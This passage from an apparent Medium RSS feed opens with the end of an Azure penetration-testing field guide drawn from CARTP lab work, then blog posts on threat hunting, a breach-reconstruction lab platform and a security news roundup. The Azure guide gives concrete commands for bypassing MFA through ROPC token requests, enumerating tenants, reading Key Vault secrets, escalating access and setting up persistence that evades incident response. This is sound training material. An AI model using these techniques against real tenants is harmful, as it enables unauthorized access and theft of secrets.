dirsearch enumeration when the full container structure is unknown.</p><p><em>*Cross-plane failure:*</em> A data-plane credential embedded in a control-plane artifact (the GitHub repository). Repository secret scanning is a DevSecOps concern. SAS URI management is a storage concern. No single reviewer owned both.</p><p>— -</p><p>## Part III — Hacker Mindset: What the Labs Don’t Teach (Expicitly)</p><p>### 1. Collect All the Docs. Hold the Whole Picture.</p><p>BARK Tool 01 forces acquisition of three separate tokens before anything useful can happen — and that structure is the lesson, not just the mechanics. BARK Tool 03 extends this: `Get-AllEntraApps` returns dozens of App Registrations with description fields that no individual app owner thought to secure, because each owner was thinking about their application in isolation. The attacker reading tenant-wide enumeration sees patterns no single owner ever had visibility into.</p><p>Never enumerate one plane and stop. Run Graph for identity, Az for resources, data-plane probes for storage and vaults. The interesting paths are cross-plane, and they are invisible until you are holding all the planes simultaneously.</p><p>### 2. Two Safe Features Can Make One Dangerous Interaction</p><p>The dynamic group / guest invitation vulnerability is the clearest example: neither feature is misconfigured. The vulnerability is their intersection — a membership rule based on a user-modifiable attribute satisfiable by a guest. Logic Apps 01 through 07 show the same pattern at a different layer: HTTP triggers and parameter routing are both legitimate; IDOR is the result when user-controlled input determines authorization without validation.</p><p>Storage Account 12 surfaced a third instance. The 2025 mandatory MFA enforcement for ARM operations and the ROPC authentication pathway are both real policy decisions. The gap between them — ROPC against a legacy-auth-enabled endpoint, bypassing the enforcement — is the attack. Two policy decisions, different teams, one attacker exploiting the interaction.</p><p>Read Azure product documentation for every service encountered in an assessment. Ask: what external input does this accept? What attributes does it read? What does it interact with? Documentation describes features in isolation. The task is modeling their interactions.</p><p>### 3. Think Like the IR Team</p><p>Standard IR playbooks target the identity plane: contain the account, reset credentials, revoke sessions. This sequence is complete if persistence lives entirely in the identity plane. If persistence has crossed to the control plane — an RBAC assignment, a Logic App connection — identity-plane remediation finishes and the position remains intact.</p><p>BARK Tool 01 also demonstrates why API operations are preferable to portal operations for offensive work. Portal logins generate Sign-In logs with device, browser, IP, and location. A token used directly against the REST API generates minimal telemetry and is nearly indistinguishable from a service account performing routine operations.</p><p>Establish persistence in a different plane than initial access. Identity-plane foothold → control-plane persistence. Control-plane foothold → identity-plane persistence. Cross-plane persistence requires cross-plane IR — which most teams are not structured to run simultaneously under active compromise conditions.</p><p>### 4. The Simplest Path Is Usually Not the Most Technical</p><p>Storage Account 01 (Anonymous Blobs) is the first lab in that track for a reason. Anonymous container access requires no credentials and no bypass — only looking. Logic App 16 (Sensitive Info in Workflow) teaches that the flag is hardcoded in the workflow template JSON, readable to anyone with Logic App Reader permissions. AzureAD 01 teaches that sensitive data is sometimes stored in user property fields that every authenticated tenant user can read by default.</p><p>Run the cheapest attack first. Anonymous blob access before SSRF. Read the app description field before forging tokens. Check Logic App code view before tampering with triggers. The gap between a sophisticated attacker and someone who looked at the obvious thing is usually just the willingness to look.</p><p>— -</p><p>## Part IV — Architectural Tradeoffs for Builders</p><p>Every vulnerability in the Red Labs exists because someone made a reasonable decision. The following documents the tensions that produce these vulnerabilities — not as failures, but as tradeoffs whose costs were not fully understood at the time.</p><p>### Key Vault: Two Access Models, Two Attack Paths</p><p>Key Vault 01 and Key Vault 02 exist as separate labs because there are two distinct access control models, each with a different attack path from the control plane.</p><p>In the legacy access policy model (KV01), anyone with Contributor on the resource group can modify vault access policies directly. That is a two-API-call path from control-plane access to data-plane secret reads. It is the legacy default and requires no configuration to be in this state.</p><p>In the Azure RBAC model (KV02), modifying access requires Owner or User Access Administrator — Contributor is not sufficient. The attack path from the control plane is closed. But this model requires explicit opt-in per vault. Many organizations provisioned their vaults before this was the recommended default and have never migrated.</p><p>The architectural tension is real: the legacy model was simpler to implement and faster for developers. The cost — a Contributor-to-secret escalation path — was not visible until someone modeled both the control and data planes together.</p><p>### Storage Access: The Delegation Spectrum</p><p>The Storage Account labs collectively demonstrate a spectrum from maximum-scope credentials to minimum-scope credentials. Builders consistently choose toward the left because it requires less IAM configuration. Every step rightward eliminates an attack path.</p><p>An anonymous container (SA 01) requires no credentials and is not revocable without changing the access level. A storage account key (SA 06) grants full account access forever and can only be revoked by rotating the key, which breaks every consumer using it. A connection string (SA 04) is the same power in one shareable string. An account-level SAS (SA 05, SA 12) is broad and time-limited, but revocable only by rotating the signing key. A stored access policy SAS (SA 16) can be revoked independently — if the policy is correctly scoped, which SA 16 demonstrates it frequently is not.</p><p>At the far right: RBAC plus a Managed Identity. No persistent key exists. The role assignment is immediately revocable. A full audit trail exists in Azure Monitor. The setup cost is approximately fifteen minutes of IAM configuration. The labs have no equivalent because there is no attack path to demonstrate.</p><p>### Logic Apps: Every HTTP Trigger Is a Web Application</p><p>Logic Apps 01 through 16 collectively teach a principle the labs never state explicitly: any Logic App with an HTTP Request trigger is a web application. It receives untrusted external input. It processes that input with the permissions of its connections. All web application security principles apply — including IDOR, method tampering, and injection.</p><p>Logic App 01 (IDOR via path parameter) and Logic App 12 (IDOR into Key Vault) teach that a path parameter in the trigger URL can control what data the workflow retrieves and returns — without any authorization check on the parameter value. Logic App 02 teaches that blocking GET does not mean the resource is protected; POST is equally capable of triggering the same workflow and retrieving the same data.</p><p>Logic Apps 07, 10, and 11 teach a second principle: triggers are not always HTTP endpoints. A queue message count, a new blob, a modified blob — all can trigger high-privilege Logic App workflows. An attacker with write access to a connected storage resource can trigger those workflows without ever touching the Logic App URL itself. A security review of the Logic App in isolation would never surface this path.</p><p>### The Bootstrap Problem: Why the GA → Root Path Exists</p><p>The Global Administrator → root management group escalation — the `elevateAccess` API action — exists because of a structural problem: Azure RBAC and Entra ID are two separate systems. If RBAC loses all its Owners through misconfiguration or accidental deletion, recovery must be possible without Microsoft holding a standing backdoor into every customer tenant. That recovery mechanism is the attack surface. It cannot be removed without accepting irrecoverable tenant lockout as an operational risk.</p><p>The mitigations reduce the probability of unauthorized use and collapse the detection window, but they do not close the path: PIM with just-in-time activation for GA, alerting specifically on the `elevateAccess` audit event in Azure Monitor, and continuous monitoring of root-scope RBAC assignments against a known-good baseline. None of these prevent a credentialed insider on a compliant device. They make the action visible quickly enough that dwell time is measured in minutes rather than months.</p><p>— -</p><p>## Part V — Operations Quick Reference</p><p>### Three-Plane Token Reference</p><p>The BARK Tool 01 pattern makes this concrete: same credentials, same token endpoint, different `scope` parameter, different plane. For the identity plane, the scope is `https://graph.microsoft.com/.default` and the client ID is `1b730954–1685–4b74–9bfd-dac224a7b894`. For the control plane, the scope is `https://management.azure.com/.default` and the client ID is `1950a258–227b-4e31-a9cf-717495945fc2`. For the data plane — Key Vault specifically — the scope is `https://vault.azure.net/.default`, obtained via a refresh token grant from the ARM session.</p><p>Connect to the identity plane with `Connect-MgGraph -AccessToken $token`. Connect to the control plane with `Connect-AzAccount -AccessToken $token`. The data plane is accessed directly via BARK functions or the Key Vault REST API using the KV-scoped token.</p><p>### Enumeration Playbook — Every Identity, Every Time</p><p>**Layer 1 — Who am I?** Check `Get-AzContext` and `Get-MgContext` to confirm the active identity. Check for Administrative Unit membership and what role the identity holds within any AU. (AzureAD 04 covers MembershipRule reading.)</p><p>**Layer 2 — What do I own?** Enumerate owned App Registrations, groups, Service Principals, and devices. Ownership is the edge type that enables cascading escalation — an owned app registration means you can add a client secret. (AzureAD 17.)</p><p>**Layer 3 — What groups am I in?** Enumerate group membership and check what each group can reach across all three planes. Check for dynamic groups and read their membership rules. (AzureAD 02, AzureAD 04, AzureAD 23.)</p><p>**Layer 4 — What can I access directly?** Run `Get-AzResource`. Check for Key Vaults, Storage Accounts, and Logic Apps. (Key Vault 11/12, Storage Account 21.)</p><p>**Layer 5 — What can I modify?** Can this identity reset passwords (AU role)? Modify Key Vault access policies (KV01 path)? Add members to owned groups? The answers depend on the access model in use. (KV01 vs KV02, AzureAD 23.)</p><p>**The pivot rule:** every time a new set of credentials is obtained, restart the playbook from Layer 1. The new identity will have a different graph position and potentially entirely different access paths.</p><p>### Storage Account Decision Tree</p><p>If you have a domain name and nothing else, start with MicroBurst: `Invoke-EnumerateAzureSubDomains` followed by `Invoke-EnumerateAzureBlobs`. (Storage Account 02.)</p><p>If you have a blob list URL and a wordlist, use Dirsearch against the blob endpoint: `python dirsearch.py -u URL -w wordlist.txt`. (Storage Account 17.)</p><p>If you have an anonymous container URL, append `?restype=container&amp;comp=list` to list contents, then access individual files at `/filename.ext`. Check container metadata via Storage Explorer for leaked key-value pairs. (SA 01, SA 03.)</p><p>If you have a connection string, SAS URI, or storage account key, use Azure Storage Explorer to connect directly. For a misconfigured stored access policy SAS, the scope will be broader than intended — enumerate everything the token permits. (SA 04, SA 05, SA 06, SA 16.)</p><p>If you have credentials with Contributor rights, generate a SAS token via the `ListAccountSas` or `ListServiceSas` REST endpoint using an ARM bearer token. (SA 12, SA 13.)</p><p>### Logic App Attack Reference</p><p>When a trigger URL has a path parameter like `{name}` or `{id}`, replace it with `admin` in the URL path — not the query string. This is the IDOR pattern from Logic Apps 01 and 12.</p><p>When GET returns a method error, retry with `Invoke-RestMethod -Method POST -Uri URL -ContentType application/json -Body “{}”`. On Windows, `curl` is an alias for `Invoke-WebRequest` with incompatible parameter syntax — always use `Invoke-RestMethod`. (Logic App 02.)</p><p>When a trigger fires but the browser shows no output, check all connected storage resources — queue, table, file share, blob — for the trigger’s output. Logic App 04 writes to a queue, LA 05 to a table, LA 06 to a file share. Trigger with `admin` and refresh the connected resource.</p><p>When a Logic App is accessible, check Code View in the portal for hardcoded values in action bodies. Secrets, flags, and connection strings are frequently embedded directly in workflow JSON by developers who treated the template as a private artifact. (Logic App 16.)</p><p>When write access to a storage resource exists, test whether it can trigger a connected Logic App. Adding two messages to a queue triggers LA 07. Uploading a blob triggers LA 10. Modifying an existing blob triggers LA 11. The flag or credential appears in a connected queue after the trigger fires.</p><p>### Persistence by Plane — What IR Misses</p><p>An App Registration client secret (AzureAD 17) survives a user password reset because the secret lives on the app object in the identity plane, not on the user object. Remediation requires a separate app registration audit.</p><p>A guest user account (AzureAD 23) survives standard tenant user cleanup because guests are frequently excluded from automated remediation processes. Cleanup requires explicit guest account removal.</p><p>An RBAC assignment at an unexpected scope — particularly at root management group or subscription level — survives identity-plane remediation entirely because the assignment has no dependency on the identity that created it. Remediation requires an explicit root-scope RBAC audit against a known-good baseline.</p><p>A SAS URI with a long validity period (SA 05, SA 16) survives user account remediation because SAS tokens are signed by the storage account key, not by user identity. Invalidation requires rotating the storage account key — which breaks all other consumers of that key simultaneously.</p><p>### PowerShell Quick Fixes</p><p>When `Connect-AzAccount -Credential $creds` fails due to MFA enforcement (post-2025), use ROPC: `Invoke-RestMethod` to the token endpoint with a mobile User-Agent string and `scope=management.azure.com/.default`. This takes the authentication through a pathway that Conditional Access policies targeting interactive logins do not cover in legacy-auth-enabled tenants.</p><p>When a downloaded module fails to import due to signing policy, run `Get-ChildItem -Path PATH -Recurse | Unblock-File` to remove the Mark of the Web, then re-import.</p><p>When storage REST calls fail with a time-related authentication error, compare `Get-Date` to the Azure server time via `(Invoke-WebRequest -Uri “https://storage.azure.com/&quot; -Method HEAD).Headers[“Date”]`. If drift exceeds one minute, fix it with `Set-Date`.</p><p>When WAM is blocking token acquisition between identity switches, clear state with `Disconnect-AzAccount`, `Disconnect-MgGraph`, `Clear-AzContext -Force`, and `Set-MgGraphOption -DisableLoginByWAM $true`.</p><p>When BARK’s `Import-Module` fails from a parent directory, navigate into the BARK directory first. `cd BARK` then `Import-Module ./BARK.ps1` from inside it.</p><p>When `Get-AzResource` returns a “SubscriptionId cannot be null” error, the identity has no ARM resource access — Entra ID only. Pivot to Graph enumeration with `Get-MgUser`, `Get-MgGroup`, and `Get-AllEntraApps` instead.</p><p>— -</p><p>## Appendix — The Pocketknife Field Guide</p><p>The main document is for study. This appendix is for the field — when mid-assessment and the fastest possible orientation is what is needed.</p><p>### Situation 1: You Have a Domain Name and Nothing Else</p><p>First, confirm the target is on Azure and determine federation type. Hit `https://login.microsoftonline.com/getuserrealm.srf?login=user@TARGET&amp;xml=1` — the response tells you whether the tenant is managed or federated and gives you the brand name. Then pull the tenant ID from `https://login.microsoftonline.com/TARGET/.well-known/openid-configuration`.</p><p>With the tenant confirmed, enumerate Azure subdomains in use with `Invoke-EnumerateAzureSubDomains -Base TARGET` in MicroBurst. This reveals which services — blob storage, queues, file shares, Key Vaults, mail — are provisioned. Follow with `Invoke-EnumerateAzureBlobs -Base TARGET` to find publicly accessible containers. If any container is found, list its contents with `?restype=container&amp;comp=list` and read every file. Deployment scripts, configuration files, and connection strings are the highest-value finds.</p><p>### Situation 2: You Have Credentials</p><p>Attempt the control-plane token first: ROPC to the token endpoint with `scope=management.azure.com/.default`, client ID `1950a258–227b-4e31-a9cf-717495945fc2`, and a mobile User-Agent string to avoid device-based Conditional Access policies. If that succeeds, use `Connect-AzAccount -AccessToken $armToken` and immediately run `Get-AzResource` to determine whether this identity has any ARM resource visibility.</p><p>In parallel, get the Graph token with the same ROPC pattern using `scope=graph.microsoft.com/.default` and client ID `1b730954–1685–4b74–9bfd-dac224a7b894`. Connect with `Connect-MgGraph -AccessToken $graphToken`. Run the full enumeration playbook: who, own, groups, access, modify — in order, without skipping layers.</p><p>If the identity has no ARM resources, it is Entra ID-only. Shift entirely to Graph enumeration: users, groups, dynamic group membership rules, App Registrations, and their descriptions (BARK Tool 03’s `Get-AllEntraApps` with description filtering).</p><p>### Situation 3: You Have a Logic App Trigger URL</p><p>Inspect the URL for path parameters in curly braces — `{name}`, `{id}`, `{user}`. These are IDOR candidates. Replace the parameter with `admin` in the URL path and submit. If the browser shows no output, do not conclude the trigger failed — open the connected storage resources (queue, table, file share, blob) and refresh them. The output may be written there rather than returned in the HTTP response.</p><p>If GET returns a method error, switch to POST using `Invoke-RestMethod -Method POST -Uri URL -ContentType application/json -Body “{}”`. If you have Logic App Reader or Owner permissions, open Code View in the Azure portal and read the workflow JSON. Hardcoded secrets, flags, and connection details in action bodies are common.</p><p>If write access exists to any connected storage resource, test whether that access can trigger the workflow: add messages to a queue, upload a blob, or modify an existing blob. Each of these can be a trigger source depending on the Logic App’s configuration.</p><p>### Situation 4: You Have a Key Vault</p><p>First, determine the access model: portal → Key Vault → Access configuration tells you whether the vault uses legacy access policies or Azure RBAC. This determines what attack path is available from the control plane.</p><p>List available secrets with `Get-AzKeyVaultSecret -VaultName VAULT`. Read a secret value with `Get-AzKeyVaultSecret -VaultName VAULT -Name SECRET -AsPlainText`. Check for soft-deleted secrets with the `-InRemovedState` flag — deleted secrets remain recoverable for the retention period (Key Vault 03). Check tags on the vault and on individual secrets: tags frequently leak environment names, owner information, and connection details (Key Vault 11, 16).</p><p>If you have Contributor on the resource group and the vault uses legacy access policies, you can modify the policy to add Get permission for the current identity and then read secrets directly. This is the KV01 escalation path.</p><p>### Situation 5: You Just Gained a New Identity</p><p>Stop. Confirm which identity is now active with `Get-AzContext` and `Get-MgContext` before running anything else. Token confusion when switching between identities quickly produces misleading results.</p><p>Then restart the enumeration playbook from Layer 1. Do not assume the new identity has similar access to the previous one — it almost certainly has a different graph position with different connections. `Get-AzResource` first to determine whether ARM resources are visible. If so, enumerate Key Vaults and Storage Accounts. Then Graph: group membership, dynamic group rules, owned objects. The new identity may open paths that were invisible from the previous position.</p><p>### Situation 6: You Need to Cross a Plane</p><p>From an identity credential to control-plane resources: ARM token via ROPC or `Connect-AzAccount` → `Get-AzResource`.</p><p>From an identity credential to data-plane Key Vault secrets: ARM token to locate the vault URI, then a separate KV token (different OAuth scope: `vault.azure.net/.default`) to read the secret. BARK automates this handoff — `Get-AllAzureRMKeyVaults` with the ARM token, then `Get-AzureRMKeyVaultSecrets` and `Get-AzureRMKeyVaultSecretValue` with the KV token.</p><p>From a control-plane Contributor role to data-plane Key Vault secrets: if the vault uses legacy access policies, modify the access policy to grant Get permission to the current identity, then read secrets directly with `Get-AzKeyVaultSecret`.</p><p>From a data-plane storage credential (a key or connection string found in a blob or queue) to an identity-plane Service Principal: if the credential belongs to a service principal, use `Connect-AzAccount -ServicePrincipal` with the app ID and secret, then restart the enumeration playbook from Layer 1 with the SP’s identity.</p><p>From a Logic App HTTP trigger to connected storage resources: trigger with a tampered parameter → refresh queue, table, file share, or blob container to find the output.</p><p>— -</p><p><em>*Lessons from Altered Security Red Labs · CARTP Track · May 2026 · For authorized security testing and education only.*</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9963bd1b4cf1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[# What a Threat Hunter Actually Does — and Why MITRE ATT&CK Finally Made It Click]]></title>
            <link>https://medium.com/@joshuagoossen/what-a-security-engineer-actually-does-and-why-mitre-att-ck-finally-made-it-click-27a1a36a26ac?source=rss-babe3e688cbf------2</link>
            <guid isPermaLink="false">https://medium.com/p/27a1a36a26ac</guid>
            <dc:creator><![CDATA[Joshua Goossen]]></dc:creator>
            <pubDate>Fri, 15 May 2026 23:07:02 GMT</pubDate>
            <atom:updated>2026-05-15T23:33:47.969Z</atom:updated>
            <content:encoded><![CDATA[<p>Fun Course at BSIDES Tampa 2026</p><p>My career spans many roles, most recently red team engagements. So, I’ve been curious about what life looks like on the other side of the glass — what exactly a “threat hunter” does, heads-down in a SIEM, hunting for, well, the Hunters on the Red Team side. When Fortinet’s Fast Track Workshop on Threat Hunting using MITRE ATT&amp;CK™ TTPs came up, I signed up and the course did not disappoint.</p><p>The workshop was structured around the full attack lifecycle, and crucially, it covered both the offensive techniques and their detection counterparts side by side. That dual lens is where the real value was for me with my red team training because I could see exactly how the blue team and MITRE ATTACK standards relates to the Kill Chain and the chaos the Red Team exposes.</p><p>When we played the part of the Red Team we deployed the usual reverse shells, practiced living-off-the-land execution via native scripting (PowerShell and WMI abuse), defense evasion through obfuscated command execution, and persistence techniques; Red Team bread and butter.</p><p>And then came the coin flip. For each of these Red Team exercises we visited the detection side. We used Fortinet tools to identify anomalous parent-child process relationships, evaluated lateral movement signals across FortiSIEM and FortiAnalyzer, and surfaced beaconing patterns through FortiGate and FortiSandbox telemetry.</p><p>Being aware of both sides gives me a huge advantage. Now I know exactly the kinds of tools I need to deploy to defend against these attacks. Meanwhile if I’m operating as a Red Team, I’m better able to hide my tracks.</p><p>## Where Does MITRE ATT&amp;CK Fit?</p><p>Coming into this I was already comfortable with STRIDE, OWASP, and PASTA. Solid frameworks, all of them — but they’re fundamentally design-time tools. You reach for them when you’re building something and want to reason systematically about what could go wrong. They’re preventative by nature.</p><p>CVE sits in a different category again — it’s a vulnerability catalog. Useful for knowing a weakness exists in a specific product, but it tells you nothing about how an adversary chains that weakness into a broader campaign, or what they do next once they’re inside.</p><p>The Cyber Kill Chain gets closer to operational territory in between these standards, giving you a narrative arc from reconnaissance through to actions on objectives. But it’s linear, broad, and too coarse-grained to actually guide the operational intricacies of a real hunt. It tells you roughly what chapter of the story you’re in, not what sentence.</p><p>MITRE ATT&amp;CK is something else. It’s an empirical, continuously updated knowledge base built from real-world intrusion data, documenting what adversaries actually do once they’re in an environment — mapped to named threat groups and real campaigns. The Tactics → Techniques → Sub-techniques hierarchy gives both red and blue teams a shared, granular language that none of the other frameworks offer at the same operational depth.</p><p>The assassin had to case the building first — <strong>STRIDE/PASTA</strong> gave them the blueprint: every room, every lock, every blind spot in the security architecture.</p><p><strong>CVE</strong> was their weapons cache — what was loaded, what could kill, and how much damage each round could do.</p><p>The <strong>Kill Chain</strong> was the operation itself — entry point, movement, the moment of the crime, the exit. Step by step. Timestamped.</p><p>But <strong>MITRE ATT&amp;CK</strong>?</p><p>That’s the MO.</p><p>The signature a detective recognizes across a hundred crime scenes. The way they hold the knife. The rooms they always visit. The exit they always take. The fingerprints they don’t know they’re leaving.</p><p>And critically, unlike most other preventative frameworks I’ve deployed, MITRE ATT&amp;CK lives in the detection and response space. It’s equally useful for catching an adversary in the act — active threat hunting, real-time correlation — as it is for post-incident forensics, helping you reconstruct exactly which techniques were used and in what sequence.</p><p>## Worth Your Time?</p><p>If you typically sit in an architecture or red team role and have never spent time in the analyst seat, I’d genuinely recommend finding a way to do it. The threat hunting perspective sharpens both — you design better systems when you understand how they’re hunted, and you run better red team engagements when you understand how the hunter is being hunted.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=27a1a36a26ac" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hacking at the Speed of News]]></title>
            <link>https://medium.com/@joshuagoossen/hacking-at-the-speed-of-news-7250029dc14d?source=rss-babe3e688cbf------2</link>
            <guid isPermaLink="false">https://medium.com/p/7250029dc14d</guid>
            <dc:creator><![CDATA[Joshua Goossen]]></dc:creator>
            <pubDate>Wed, 13 May 2026 06:23:13 GMT</pubDate>
            <atom:updated>2026-05-13T06:23:13.596Z</atom:updated>
            <content:encoded><![CDATA[<h3>New platform turns breaking breaches into hands-on security labs</h3><p>Every week, millions of people read about cybersecurity breaches.</p><p>A school district loses data. A hospital gets encrypted. A SaaS provider exposes sensitive records.</p><p>The headlines move fast. The technical details disappear even faster.</p><p>Most people never get the chance to understand <em>how</em> the attack actually happened.</p><p>Now they can.</p><p>That’s the idea behind <strong>HackThenBuild</strong>.</p><p>HackThenBuild</p><h3>From headlines to hands-on understanding</h3><p>HackThenBuild was created to close the gap between cybersecurity news and real understanding.</p><p>Security reporting usually ends at awareness:</p><ul><li>“Sensitive data exposed.”</li><li>“Attackers gained access.”</li><li>“Systems were compromised.”</li></ul><p>But awareness isn’t understanding.</p><p>Most learners — students, engineers, IT teams, even security professionals — learn best when they can:</p><ul><li>build</li><li>test</li><li>break</li><li>reconstruct</li><li>and ask <em>why</em></li></ul><p>Security becomes far more durable when people interact with a system instead of just reading about it.</p><h3>Replaying real-world breaches as labs</h3><p>HackThenBuild turns real, recent security incidents into simplified, controlled environments.</p><p>The first lab is inspired by reporting around the Canvas-related breach affecting education data systems.</p><p>Participants move through a guided reconstruction of the attack chain:</p><ul><li>initial discovery</li><li>misconfiguration analysis</li><li>privilege escalation concepts</li><li>data exposure pathways</li><li>detection and mitigation discussion</li></ul><p>Each lab is designed to take ~20–30 minutes.</p><p>The goal isn’t just to “hack a box.”</p><p>It’s to understand how real-world failures actually cascade.</p><h3>Why post-mortems matter</h3><p>In real organizations, the most valuable learning happens <em>after</em> an incident.</p><p>Teams ask:</p><ul><li>Why was this possible?</li><li>Which controls failed?</li><li>Was the risk known but accepted?</li><li>Could monitoring have detected it earlier?</li><li>Which design decisions created systemic exposure?</li></ul><p>HackThenBuild extends that mindset beyond the lab.</p><p>After completing a challenge, participants enter structured post-mortem discussions focused on:</p><ul><li>architecture and design tradeoffs</li><li>human and organizational factors</li><li>detection and response gaps</li><li>governance breakdowns</li><li>mitigation strategies</li></ul><p>Security isn’t just about breaking systems.</p><p>It’s about understanding them deeply enough to prevent the next failure.</p><h3>Turning security learning into collaboration</h3><p>Traditional cybersecurity education is often fragmented:</p><ul><li>conferences for exposure</li><li>CTFs for technical skill</li><li>training courses for theory</li><li>incident reports for hindsight</li></ul><p>What’s often missing is integration — connecting the <em>how</em>, the <em>why</em>, and the <em>what now</em>.</p><p>HackThenBuild explores a more collaborative model where learning includes:</p><ul><li>writing security analysis</li><li>debating mitigation strategies</li><li>contributing walkthroughs</li><li>creating assessment material</li><li>participating in structured incident discussions</li></ul><p>In some contexts, this can also support Continuing Professional Education (CPE) credit workflows through verified participation and discussion-based learning.</p><h3>A platform for educators and builders</h3><p>HackThenBuild is also designed for educators, trainers, and security teams.</p><p>Using Docker-based environments, creators can publish labs without managing infrastructure for every participant.</p><p>Creators provide:</p><ul><li>challenge instructions</li><li>guided attack narratives</li><li>discussion prompts</li><li>post-mortem exercises</li></ul><p>The platform handles the interactive layer, including:</p><ul><li>flag verification</li><li>completion tracking</li><li>embedded learning widgets</li><li>structured feedback loops</li></ul><p>The goal is to make building security education as simple as publishing a document.</p><h3>Security education needs interaction, not just information</h3><p>The cybersecurity field doesn’t need more passive content.</p><p>It needs:</p><ul><li>better reconstruction of incidents</li><li>better discussion around failures</li><li>better learning loops between teams</li><li>better tools for hands-on understanding</li></ul><p>When people can safely replay real incidents, the lesson becomes tangible.</p><p>The gap between <em>“I read about a breach”</em> and <em>“I understand why it happened”</em> starts to close.</p><p>And when learners can discuss those scenarios with peers and practitioners, the understanding deepens even further.</p><p>That’s the space HackThenBuild is exploring.</p><h3>Try the first lab</h3><p>The first hands-on lab is now live.</p><p>It’s a simplified reconstruction inspired by real-world Canvas breach reporting, designed to be completed in under 30 minutes, followed by a structured post-mortem discussion.</p><p>Because understanding an incident shouldn’t stop at reading the headline.</p><p>It should continue until you understand the system behind it.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7250029dc14d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Adversarial Architect Roundup]]></title>
            <link>https://medium.com/@joshuagoossen/adversarial-architect-roundup-190fcad779f7?source=rss-babe3e688cbf------2</link>
            <guid isPermaLink="false">https://medium.com/p/190fcad779f7</guid>
            <dc:creator><![CDATA[Joshua Goossen]]></dc:creator>
            <pubDate>Fri, 01 May 2026 17:26:50 GMT</pubDate>
            <atom:updated>2026-05-01T17:26:50.906Z</atom:updated>
            <content:encoded><![CDATA[<p>05 1 2026</p><h3>1. America’s Worst Telehack.</h3><h4>Your Family’s Calls Were Recorded, Corporations Hid It and the Government Made It Worse.</h4><p>Your texts, location, doctor calls — monitored for years through the phone bill you pay monthly… all mine now. Salt Typhoon tracked millions of Americans in real time, recorded calls at will, entering through the government-mandated wiretapping backdoor built into AT&amp;T, Verizon, and T-Mobile. I also have access to trade negotiations, legal strategy, M&amp;A calls — same compromised infrastructure and a near-complete map of every active FBI wiretap targe. <a href="https://www.commerce.senate.gov/press/dem/release/experts-agree-u-s-communications-networks-remain-vulnerable-following-salt-typhoon-hack/">U.S. Senate Committee on Commerce, Science, &amp; Transportation</a><a href="https://stateofsurveillance.org/articles/surveillance/salt-typhoon-telecom-hack/">Stateofsurveillance</a></p><p>Patches available for seven years, left unaddressed. The Trump FCC then voted 3–2 to repeal consumer protections, with telecom lobbyists eliminating even mandatory MFA requirements. Networks may still be open for anyone to access today. <a href="https://www.commerce.senate.gov/press/dem/release/experts-agree-u-s-communications-networks-remain-vulnerable-following-salt-typhoon-hack/">U.S. Senate Committee on Commerce, Science, &amp; Transportation + 2</a></p><p>This is why we promote isolating sensitive calls, Zero Trust architecture and Edge device patch SLAs in days. Companies that can afford so udit your telecom’s security. Look for providers that offer encrypted communication platforms, Zero Trust networks and vendors. The compliance gap left by FCC rollbacks is a wide-open market.</p><h3>2. 🤖 AI Pentesting: Elite Tools for the 1%? — Is Open Source Is Closing the Gap</h3><p>You are already being attacked by AI. Meanwhile defensive AI tooling is locked to 50 privileged organizations. Hospitals, city government, and mid-size companies.. you’re on your own.</p><p>The democratic counterweight: open-source LLM stacks — <strong>Ollama, LM Studio, GPT4All</strong> running Llama 3, Mistral, or DeepSeek locally — give any security team capable AI without API gatekeeping or per-token costs. A well-configured local model won’t match Mythos, but it meaningfully helps close the gap. <a href="https://www.redseclabs.com/blog/why-autonomous-pentesting-wont-replace-humans/">Redseclabs</a></p><p>Evaluate AI red team augmentation now, but contain it; human approval gates and kill switches on autonomous tooling. Massive opportunities for mid-market organizations with open-source-powered security services. The company that packages open source offensive/defensive workflows for the Fortune 5000-to-50000 doesn’t fully exist yet.</p><h3>3. Open Source, Open Door: The Code Your Business Runs On Was Poisoned This Week</h3><p>I’m inside every app, every SaaS tool that serve as the recipe for the apps you love. Malicious versions of PyTorch Lightning were published to PyPI on April 30 with hidden credential-stealing malware. The same week, North Korean hackers planted a poisoned npm package targeting developer secrets. The software looked legitimate — because it came from a trusted registry your pipeline pulled automatically. <a href="https://thehackernews.com/">The Hacker News</a></p><p>Companies are failing to monitor CI/CD pipelines; pull dependencies with zero integrity verification. Registry maintainers are overwhelmed volunteers with no liability. Make sure your vendor supply chain is controlled, the ISO crew is performing component reviews, dependency pinning and hash verification, package integrity scanning in CI/CD pipelines. Look to fresh companies like Socket.dev to fill the gap.</p><h3>4. Don’t Trust Google.</h3><p>You don’t visit a shady site, you search for a legitimate tool and the top result is the trap. Techniques requiring a nation-state budget two years ago now cost nothing to me now. This month, attackers used blockchain-based C2 infrastructure combined with SEO poisoning across Bing, Yahoo, and DuckDuckGo — delivering malware to people running ordinary IT searches. <a href="https://thehackernews.com/">The Hacker News</a></p><p>Normal search behavior is now an attack vector. For businesses: your employees are the entry point. <a href="https://www.securityweek.com/cyber-insights-2026-offensive-security-where-it-is-and-where-its-going/">SecurityWeek</a></p><p>Unfortunately, offense is being commoditized faster than defense democratized.</p><p>Make sure your ISOs use DNS filtering tuned to current TTPs, assume capable adversaries at every org tier. Threat intelligence services, SEO-poisoning detection, and open AI redteam platforms represent genuine market gaps with strong mid-market demand and no dominant player yet.</p><p><em>Known vulnerabilities. Available patches. Issued warnings. The failures were institutional. The consequences were personal. The opportunities are now.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=190fcad779f7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Watson’s Azure Pentesting Field Guide]]></title>
            <link>https://medium.com/@joshuagoossen/watsons-azure-pentesting-field-guide-3d710f7f4541?source=rss-babe3e688cbf------2</link>
            <guid isPermaLink="false">https://medium.com/p/3d710f7f4541</guid>
            <dc:creator><![CDATA[Joshua Goossen]]></dc:creator>
            <pubDate>Thu, 30 Apr 2026 19:20:27 GMT</pubDate>
            <atom:updated>2026-04-30T19:20:27.962Z</atom:updated>
